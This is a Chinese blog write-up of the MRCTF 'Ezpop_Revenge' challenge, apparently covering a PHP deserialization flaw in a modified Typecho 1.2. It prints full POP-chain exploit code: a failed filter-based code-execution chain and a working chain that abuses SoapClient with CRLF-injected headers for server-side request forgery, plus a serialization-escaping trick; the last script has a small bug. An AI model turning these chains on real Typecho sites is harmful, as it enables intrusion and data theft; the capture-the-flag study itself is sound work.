MRCTF Ezpop_Revenge小记
前言
一道typecho1.2的反序列化,顺便记录一下踩的坑
www.zip获得源码,结构大致如下

flag.php需要ssrf,如果成功会写入session

拿到源码直接去网上先找了一下有没有现成的payload(懒,
找到一篇类似的
https://p0sec.net/index.php/archives/114/
但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:

路径为usr/plugins/HelloWorld/Plugin.php

很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==
typecho\plugin.php下:
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
首先看到这里:

很明显的入口点,跟进Typecho_Db::__construct

然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)
踩坑

Feed.php下的tostring的358行

并且跟不过去,那么就可以找__get
Request.php

跟进

跟进_applyFilter

value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)
于是我构造了如下pop链:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
var_dump($this->coincidence);
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function __construct(){
$this->_items=array('author' => new Typecho_Request());
}
}
class Typecho_Request{
private $_filter=array();
private $_params=array();
public function __construct()
{
$this->_params['screenName'] = -1;
$this->_filter = array('phpinfo');
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));
然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来...(这个pop链貌似适用typecho1.1版本)
麻烦的解法(踩坑二)
后来我突然想到要是能rce为什么还有ssrf读flag....
好吧其实一开始__tostring我就找错了,应该找query.php这个跳板

可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:
$this->_adapter->parseSelect($this->_sqlPreBuild)
然后令$this->_adapter为Soapclient实例,触发_call完成ssrf
调用链:
HelloWorld_DB::wakeup-->
Typecho_Db::__construct(tostring)-->
Typecho_Db_Query::__construct-->
(this->_adapter=new Soapclient)-->
ssrf
然后又是一个坑:
这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:

然后就需要用\00来代替%00
这里有个知识点吧,以前没碰到过:
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:"<length>":"<value>";
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。
普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";
看个例子

将不可见字符%00转化为十六进制,大S成功执行wakeup

小写s则失败

然后这里就需要将%统统转化为\,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了

最终payload:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);
加上一个?admin=1即可

正解
我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:

根本就没有%号啊,那就不用替换了,所以直接:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
serialize(new HelloWorld_DB());
echo base64_encode($a);

MRCTF Ezpop_Revenge小记的更多相关文章
- [原]Paste.deploy 与 WSGI, keystone 小记
Paste.deploy 与 WSGI, keystone 小记 名词解释: Paste.deploy 是一个WSGI工具包,用于更方便的管理WSGI应用, 可以通过配置文件,将WSGI应用加载起来. ...
- MySql 小记
MySql 简单 小记 以备查看 1.sql概述 1.什么是sql? 2.sql发展过程? 3.sql标准与方言的关系? 4.常用数据库? 5.MySql数据库安装? 2.关键概念 表结构----- ...
- Git小记
Git简~介 Git是一个分布式版本控制系统,其他的版本控制系统我只用过SVN,但用的时间不长.大家都知道,分布式的好处多多,而且分布式已经包含了集中式的几乎所有功能.Linus创造Git的传奇经历就 ...
- 广州PostgreSQL用户会技术交流会小记 2015-9-19
广州PostgreSQL用户会技术交流会小记 2015-9-19 今天去了广州PostgreSQL用户会组织的技术交流会 分别有两个session 第一个讲师介绍了他公司使用PostgreSQL-X2 ...
- 东哥读书小记 之 《MacTalk人生元编程》
一直以来的自我感觉:自己是个记性偏弱的人.反正从小读书就喜欢做笔记(可自己的字写得巨丑无比,尼玛不科学呀),抄书这事儿真的就常发生俺的身上. 因为那时经常要背诵课文之类,反正为了怕自己忘记, ...
- Paypal支付小记
Paypal支付小记 *:first-child { margin-top: 0 !important; } body>*:last-child { margin-bottom: 0 !impo ...
- linux 下cmake 编译 ,调用,调试 poco 1.6.0 小记
上篇文章 小记了: 关于 Poco::TCPServer框架 (windows 下使用的是 select模型) 学习笔记. http://www.cnblogs.com/bleachli/p/4352 ...
- mongodb入门学习小记
Mongodb 简单入门(个人学习小记) 1.安装并注册成服务:(示例) E:\DevTools\mongodb3.2.6\bin>mongod.exe --bind_ip 127.0.0.1 ...
- 【日常小记】统计后缀名为.cc、.c、.h的文件数【转】
转自:http://www.cnblogs.com/skynet/archive/2011/03/29/1998970.html 在项目开发时,有时候想知道源码文件中有多少后缀名为.cc..c..h的 ...
随机推荐
- Java基础语法(7)-数组
title: Java基础语法(7)-数组 blog: CSDN data: Java学习路线及视频 1.数组的概述 数组(Array),是多个相同类型数据按一定顺序排列的集合,并使用一个名字命名,并 ...
- 基本的访问控制列表ACL配置
摘要: 访问控制列表ACL (Access Control L ist)是由permit或 deny语句组成的一系列有顺序的规则集合,这些规则根据数据包的源地址.目的地址.源端口.目的端口等信息 来 ...
- MySQL逻辑分层介绍
上一篇文章主要介绍了MySQL在Ubuntu18.04系统上的安装,以及安装过程中可能会遇到的一些问题的解决方案. 在这篇文章里,开始介绍MySQL数据库的逻辑分层.通过本文的介绍,可以大致了解到My ...
- 基于海龟编辑器python少儿编程
Python 少儿教程 为什么要学习编程 扫地机器人.物流机器人.自动泊车系统.无人超市.3D打印.微信.支付宝等等,随着人工智能时代的到来,越来越多的岗位将被机器人所替代. 所以,学习编程的最终目的 ...
- Ubuntu系统安装wxPython问题
wxPython介绍 wxPython是Python语言的GUI工具包,作为Python的扩展模块实现,包装了wxWidgets.wxPython是跨平台的,开源的.详情 wxPython安装 (1) ...
- [vijos1880]选课<树形dp>
题目链接:https://www.vijos.org/p/1180 这是一道树形dp的裸题,唯一的有意思的地方就是用到了多叉树转二叉树 然后本蒟蒻写这一道水题就是因为以前知道这个知识点但是没有怎么去实 ...
- 【C++】VS2017 不能将const char * 分配给 char *
我的方式是把结构体中定义的 char * 换成string #include <iostream> #include<string> using namespace std; ...
- .NET Core项目部署到Linux(Centos7)(六)发布.NET Core 项目到Linux
目录 1.前言 2.环境和软件的准备 3.创建.NET Core API项目 4.VMware Workstation虚拟机及Centos 7安装 5.Centos 7安装.NET Core环境 6. ...
- 配置附加权限和LDAP
配置附加权限和LDAP 补充:调整root的权限为rwx(读,写,执行) 步骤:采用数值形式将目录/root的权限调整为rwx------ 1)查看原来的权限 [root@svr7~]#ls -ld ...
- Linux管理,例行性工作,at和cron
at 仅执行一次就结束调度(服务atd必须启动) at的配置信息 1.我们设定的at进程其实都是被以文本的方式写入到/var/spool/at/目录内,然后这些设定的进程便会等待atd服务来启动这些进 ...